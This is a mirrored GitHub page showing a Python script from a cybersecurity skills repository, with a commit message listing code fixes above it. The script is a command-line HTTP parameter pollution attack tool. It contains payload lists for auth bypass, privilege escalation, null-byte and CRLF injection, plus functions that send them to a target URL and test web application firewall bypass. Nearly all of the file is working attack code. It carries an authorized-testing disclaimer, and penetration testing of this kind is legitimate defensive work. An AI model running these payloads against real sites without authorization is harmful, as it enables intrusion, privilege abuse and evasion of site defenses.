mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-10 21:24:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
156 lines
7.0 KiB
Python
156 lines
7.0 KiB
Python
#!/usr/bin/env python3
|
|
# For authorized penetration testing and educational environments only.
|
|
# Usage against targets without prior mutual consent is illegal.
|
|
# It is the end user's responsibility to obey all applicable local, state and federal laws.
|
|
"""Agent for performing HTTP parameter pollution (HPP) attack testing."""
|
|
|
|
import json
|
|
import argparse
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
requests = None
|
|
|
|
|
|
HPP_PAYLOADS = {
|
|
"duplicate_param": [
|
|
{"params": "id=1&id=2", "desc": "Duplicate parameter — tests server-side precedence"},
|
|
{"params": "user=admin&user=guest", "desc": "Duplicate user param — tests auth bypass"},
|
|
{"params": "action=view&action=delete", "desc": "Action override — tests privilege escalation"},
|
|
],
|
|
"encoding_bypass": [
|
|
{"params": "id=1%26admin%3Dtrue", "desc": "URL-encoded & and = inside value"},
|
|
{"params": "id=1%00&admin=true", "desc": "Null byte injection with extra param"},
|
|
{"params": "search=test%0d%0ainjected:header", "desc": "CRLF injection in param value"},
|
|
],
|
|
"array_syntax": [
|
|
{"params": "id[]=1&id[]=2", "desc": "PHP array syntax duplicate"},
|
|
{"params": "id=1,2,3", "desc": "Comma-separated values"},
|
|
{"params": "items[0]=a&items[1]=b", "desc": "Indexed array parameters"},
|
|
],
|
|
}
|
|
|
|
|
|
def test_parameter_precedence(url, param_name="id", headers=None):
|
|
"""Test which parameter value the server uses when duplicated."""
|
|
hdrs = headers or {}
|
|
results = []
|
|
test_pairs = [("FIRST", "SECOND"), ("admin", "guest"), ("1", "99999")]
|
|
for val1, val2 in test_pairs:
|
|
full_url = f"{url}?{param_name}={val1}&{param_name}={val2}"
|
|
try:
|
|
resp = requests.get(full_url, headers=hdrs, timeout=10, allow_redirects=False)
|
|
body = resp.text[:2000]
|
|
uses_first = val1 in body and val2 not in body
|
|
uses_last = val2 in body and val1 not in body
|
|
uses_both = val1 in body and val2 in body
|
|
precedence = "FIRST" if uses_first else "LAST" if uses_last else "BOTH" if uses_both else "UNKNOWN"
|
|
results.append({
|
|
"values": [val1, val2], "precedence": precedence,
|
|
"status": resp.status_code, "content_length": len(body),
|
|
})
|
|
except Exception as e:
|
|
results.append({"values": [val1, val2], "error": str(e)})
|
|
return {"url": url, "param": param_name, "precedence_tests": results}
|
|
|
|
|
|
def test_hpp_payloads(url, method="GET", headers=None):
|
|
"""Send HPP test payloads and analyze responses."""
|
|
hdrs = headers or {}
|
|
results = []
|
|
baseline = None
|
|
try:
|
|
baseline_resp = requests.get(url, headers=hdrs, timeout=10)
|
|
baseline = {"status": baseline_resp.status_code, "length": len(baseline_resp.text)}
|
|
except Exception:
|
|
pass
|
|
for category, payloads in HPP_PAYLOADS.items():
|
|
for payload in payloads:
|
|
try:
|
|
if method == "GET":
|
|
test_url = f"{url}?{payload['params']}" if "?" not in url else f"{url}&{payload['params']}"
|
|
resp = requests.get(test_url, headers=hdrs, timeout=10, allow_redirects=False)
|
|
else:
|
|
resp = requests.post(url, data=payload["params"], headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded"}, timeout=10)
|
|
anomaly = False
|
|
if baseline:
|
|
anomaly = abs(len(resp.text) - baseline["length"]) > 100 or resp.status_code != baseline["status"]
|
|
results.append({
|
|
"category": category, "payload": payload["params"],
|
|
"desc": payload["desc"], "status": resp.status_code,
|
|
"response_length": len(resp.text), "anomaly": anomaly,
|
|
})
|
|
except Exception as e:
|
|
results.append({"category": category, "payload": payload["params"], "error": str(e)})
|
|
anomalies = [r for r in results if r.get("anomaly")]
|
|
return {
|
|
"url": url, "method": method, "baseline": baseline,
|
|
"total_tests": len(results), "anomalies_found": len(anomalies),
|
|
"results": results, "anomaly_details": anomalies,
|
|
"finding": "HPP_VULNERABLE" if anomalies else "HPP_NOT_DETECTED",
|
|
"severity": "MEDIUM" if anomalies else "INFO",
|
|
}
|
|
|
|
|
|
def test_waf_bypass(url, blocked_param, blocked_value, headers=None):
|
|
"""Test if HPP can bypass WAF parameter filtering."""
|
|
hdrs = headers or {}
|
|
tests = [
|
|
{"name": "direct", "params": {blocked_param: blocked_value}},
|
|
{"name": "duplicate_first", "params": f"{blocked_param}=benign&{blocked_param}={blocked_value}"},
|
|
{"name": "duplicate_last", "params": f"{blocked_param}={blocked_value}&{blocked_param}=benign"},
|
|
{"name": "encoded", "params": {blocked_param: blocked_value.replace("'", "%27").replace("<", "%3C")}},
|
|
{"name": "array", "params": f"{blocked_param}[]={blocked_value}"},
|
|
]
|
|
results = []
|
|
for test in tests:
|
|
try:
|
|
if isinstance(test["params"], dict):
|
|
resp = requests.get(url, params=test["params"], headers=hdrs, timeout=10, allow_redirects=False)
|
|
else:
|
|
resp = requests.get(f"{url}?{test['params']}", headers=hdrs, timeout=10, allow_redirects=False)
|
|
blocked = resp.status_code in (403, 406, 429) or "blocked" in resp.text.lower()[:500]
|
|
results.append({"name": test["name"], "status": resp.status_code, "blocked_by_waf": blocked})
|
|
except Exception as e:
|
|
results.append({"name": test["name"], "error": str(e)})
|
|
bypasses = [r for r in results if not r.get("blocked_by_waf") and not r.get("error") and r.get("status") == 200]
|
|
return {
|
|
"url": url, "param": blocked_param, "tests": results,
|
|
"bypass_found": len(bypasses) > 1,
|
|
"bypass_methods": [b["name"] for b in bypasses],
|
|
}
|
|
|
|
|
|
def main():
|
|
if not requests:
|
|
print(json.dumps({"error": "requests not installed"}))
|
|
return
|
|
parser = argparse.ArgumentParser(description="HTTP Parameter Pollution Attack Agent")
|
|
sub = parser.add_subparsers(dest="command")
|
|
p = sub.add_parser("precedence", help="Test parameter precedence")
|
|
p.add_argument("--url", required=True)
|
|
p.add_argument("--param", default="id")
|
|
t = sub.add_parser("test", help="Run HPP payload tests")
|
|
t.add_argument("--url", required=True)
|
|
t.add_argument("--method", default="GET", choices=["GET", "POST"])
|
|
w = sub.add_parser("waf", help="Test WAF bypass with HPP")
|
|
w.add_argument("--url", required=True)
|
|
w.add_argument("--param", required=True)
|
|
w.add_argument("--value", required=True)
|
|
args = parser.parse_args()
|
|
if args.command == "precedence":
|
|
result = test_parameter_precedence(args.url, args.param)
|
|
elif args.command == "test":
|
|
result = test_hpp_payloads(args.url, args.method)
|
|
elif args.command == "waf":
|
|
result = test_waf_bypass(args.url, args.param, args.value)
|
|
else:
|
|
parser.print_help()
|
|
return
|
|
print(json.dumps(result, indent=2, default=str))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|